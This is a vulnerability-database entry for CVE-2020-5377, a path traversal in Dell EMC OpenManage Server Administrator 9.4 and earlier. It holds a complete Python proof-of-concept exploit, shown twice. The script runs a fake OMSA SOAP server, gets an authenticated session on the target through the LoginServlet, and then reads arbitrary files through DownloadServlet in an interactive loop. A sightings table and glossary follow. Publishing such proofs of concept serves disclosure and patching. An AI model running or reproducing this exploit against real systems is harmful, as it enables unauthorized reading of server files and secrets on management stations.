VAR-202007-1286
Vulnerability from variot - Updated: 2023-12-18 12:49Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. The solution supports online diagnosis, system operation detection, equipment management, etc. A remote attacker could exploit this vulnerability to gain access to the file system.
CVE: CVE-2020-5377
This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
Proof of concept written by: David Yesland @daveysec with Rhino Security Labs
More information can be found here:
A patch for this issue can be found here:
https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability
from xml.sax.saxutils import escape import BaseHTTPServer import requests import thread import ssl import sys import re import os
import urllib3 urllib3.disable_warnings()
if len(sys.argv) < 3: print 'Usage python auth_bypass.py :' exit()
This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): data = '' content_len = int(s.headers.getheader('content-length', 0)) post_body = s.rfile.read(content_len) s.send_response(200) s.send_header("Content-type", "application/soap+xml;charset=UTF-8") s.end_headers() if "__00omacmd=getuserrightsonly" in post_body: data = escape("0458759") if "__00omacmd=getaboutinfo " in post_body: data = escape("6.0.3") if data: requid = re.findall('>uuid:(.*?)<',post_body)[0] s.wfile.write(''' http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous uuid:'''+requid+''' 0d70cce2-05b9-45bb-b219-4fb81efba639 0 '''+data+''' ''')
else:
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')
def log_message(self, format, *args):
return
createdCert = False if not os.path.isfile('./server.pem'): print '[-] No server.pem certifcate file found. Generating one...' os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"') createdCert = True
def startServer(): server_class = BaseHTTPServer.HTTPServer httpd = httpd = server_class(('0.0.0.0', 443), MyHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()
thread.start_new_thread(startServer,())
myIP = sys.argv[1] target = sys.argv[2]
def bypassAuth(): values = {} url = "https://{}/LoginServlet?flag=true&managedws=false".format(target) data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"} r = requests.post(url, data=data, verify=False, allow_redirects=False) cookieheader = r.headers['Set-Cookie'] sessionid = re.findall('JSESSIONID=(.?);',cookieheader) pathid = re.findall('Path=/(.?);',cookieheader) values['sessionid'] = sessionid[0] values['pathid'] = pathid[0] return values
ids = bypassAuth() sessionid = ids['sessionid'] pathid = ids['pathid']
print "Session: "+sessionid print "VID: "+pathid
def readFile(target,sessid,pathid): while True: file = raw_input('file > ') url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file) cookies = {"JSESSIONID": sessid} r = requests.get(url, cookies=cookies, verify=False) print 'Reading contents of {}:\n{}'.format(file,r.content)
def getPath(path): if path.lower().startswith('c:\'): path = path[2:] path = path.replace('\','/') return path
readFile(target,sessionid,pathid)
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"data": "Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station. The solution supports online diagnosis, system operation detection, equipment management, etc. A remote attacker could exploit this vulnerability to gain access to the file system. \n# CVE: CVE-2020-5377\n\n# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator\n# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs\n# More information can be found here: \n# A patch for this issue can be found here: \n# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability\n\nfrom xml.sax.saxutils import escape\nimport BaseHTTPServer\nimport requests\nimport thread\nimport ssl\nimport sys\nimport re\nimport os\n\nimport urllib3\nurllib3.disable_warnings()\n\nif len(sys.argv) \u003c 3:\n\tprint \u0027Usage python auth_bypass.py \u003cyourIP\u003e \u003ctargetIP\u003e:\u003ctargetPort\u003e\u0027\n\texit()\n\n#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909\n#Also check out https://github.com/hantwister/FakeDellOM\nclass MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n\tdef do_POST(s):\n\t\tdata = \u0027\u0027\n\t\tcontent_len = int(s.headers.getheader(\u0027content-length\u0027, 0))\n\t\tpost_body = s.rfile.read(content_len)\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"application/soap+xml;charset=UTF-8\")\n\t\ts.end_headers()\n\t\tif \"__00omacmd=getuserrightsonly\" in post_body:\n\t\t\tdata = escape(\"\u003cSMStatus\u003e0\u003c/SMStatus\u003e\u003cUserRightsMask\u003e458759\u003c/UserRightsMask\u003e\")\n\t\tif \"__00omacmd=getaboutinfo \" in post_body:\n\t\t\tdata = escape(\"\u003cProductVersion\u003e6.0.3\u003c/ProductVersion\u003e\")\n\t\tif data:\n\t\t\trequid = re.findall(\u0027\u003euuid:(.*?)\u003c\u0027,post_body)[0]\n\t\t\ts.wfile.write(\u0027\u0027\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\t\t\t\t\t\t\t\u003cs:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"\u003e\n\t\t\t\t\t\t\t \u003cs:Header\u003e\n\t\t\t\t\t\t\t \u003cwsa:To\u003ehttp://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous\u003c/wsa:To\u003e\n\t\t\t\t\t\t\t \u003cwsa:RelatesTo\u003euuid:\u0027\u0027\u0027+requid+\u0027\u0027\u0027\u003c/wsa:RelatesTo\u003e\n\t\t\t\t\t\t\t \u003cwsa:MessageID\u003e0d70cce2-05b9-45bb-b219-4fb81efba639\u003c/wsa:MessageID\u003e\n\t\t\t\t\t\t\t \u003c/s:Header\u003e\n\t\t\t\t\t\t\t \u003cs:Body\u003e\n\t\t\t\t\t\t\t \u003cn1:SendCmd_OUTPUT\u003e\n\t\t\t\t\t\t\t \u003cn1:ResultCode\u003e0\u003c/n1:ResultCode\u003e\n\t\t\t\t\t\t\t \u003cn1:ReturnValue\u003e\u0027\u0027\u0027+data+\u0027\u0027\u0027\u003c/n1:ReturnValue\u003e\n\t\t\t\t\t\t\t \u003c/n1:SendCmd_OUTPUT\u003e\n\t\t\t\t\t\t\t \u003c/s:Body\u003e\n\t\t\t\t\t\t\t\u003c/s:Envelope\u003e\u0027\u0027\u0027)\n\n\t\telse:\n\t\t\ts.wfile.write(\u0027\u0027\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cs:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsmid=\"http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd\"\u003e\u003cs:Header/\u003e\u003cs:Body\u003e\u003cwsmid:IdentifyResponse\u003e\u003cwsmid:ProtocolVersion\u003ehttp://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\u003c/wsmid:ProtocolVersion\u003e\u003cwsmid:ProductVendor\u003eFake Dell Open Manage Server Node\u003c/wsmid:ProductVendor\u003e\u003cwsmid:ProductVersion\u003e1.0\u003c/wsmid:ProductVersion\u003e\u003c/wsmid:IdentifyResponse\u003e\u003c/s:Body\u003e\u003c/s:Envelope\u003e\u0027\u0027\u0027)\n\n\tdef log_message(self, format, *args):\n\t\treturn\n\ncreatedCert = False\nif not os.path.isfile(\u0027./server.pem\u0027):\n\tprint \u0027[-] No server.pem certifcate file found. Generating one...\u0027\n\tos.system(\u0027openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj \"/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com\"\u0027)\n\tcreatedCert = True\n\ndef startServer():\n\tserver_class = BaseHTTPServer.HTTPServer\n\thttpd = httpd = server_class((\u00270.0.0.0\u0027, 443), MyHandler)\n\thttpd.socket = ssl.wrap_socket (httpd.socket, certfile=\u0027./server.pem\u0027, server_side=True)\n\thttpd.serve_forever()\n\nthread.start_new_thread(startServer,())\n\nmyIP = sys.argv[1]\ntarget = sys.argv[2]\n\ndef bypassAuth():\n\tvalues = {}\n\turl = \"https://{}/LoginServlet?flag=true\u0026managedws=false\".format(target)\n\tdata = {\"manuallogin\": \"true\", \"targetmachine\": myIP, \"user\": \"VULNERABILITY:CVE-2020-5377\", \"password\": \"plz\", \"application\": \"omsa\", \"ignorecertificate\": \"1\"}\n\tr = requests.post(url, data=data, verify=False, allow_redirects=False)\n\tcookieheader = r.headers[\u0027Set-Cookie\u0027]\n\tsessionid = re.findall(\u0027JSESSIONID=(.*?);\u0027,cookieheader)\n\tpathid = re.findall(\u0027Path=/(.*?);\u0027,cookieheader)\n\tvalues[\u0027sessionid\u0027] = sessionid[0]\n\tvalues[\u0027pathid\u0027] = pathid[0]\n\treturn values\n\nids = bypassAuth()\nsessionid = ids[\u0027sessionid\u0027]\npathid = ids[\u0027pathid\u0027]\n\nprint \"Session: \"+sessionid\nprint \"VID: \"+pathid\n\ndef readFile(target,sessid,pathid):\n while True:\n file = raw_input(\u0027file \u003e \u0027)\n url = \"https://{}/{}/DownloadServlet?help=Certificate\u0026app=oma\u0026vid={}\u0026file={}\".format(target,pathid,pathid,file)\n cookies = {\"JSESSIONID\": sessid}\n r = requests.get(url, cookies=cookies, verify=False)\n print \u0027Reading contents of {}:\\n{}\u0027.format(file,r.content)\n\ndef getPath(path):\n\tif path.lower().startswith(\u0027c:\\\\\u0027):\n\t\tpath = path[2:]\n path = path.replace(\u0027\\\\\u0027,\u0027/\u0027)\n return path\n\nreadFile(target,sessionid,pathid)\n \n",
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.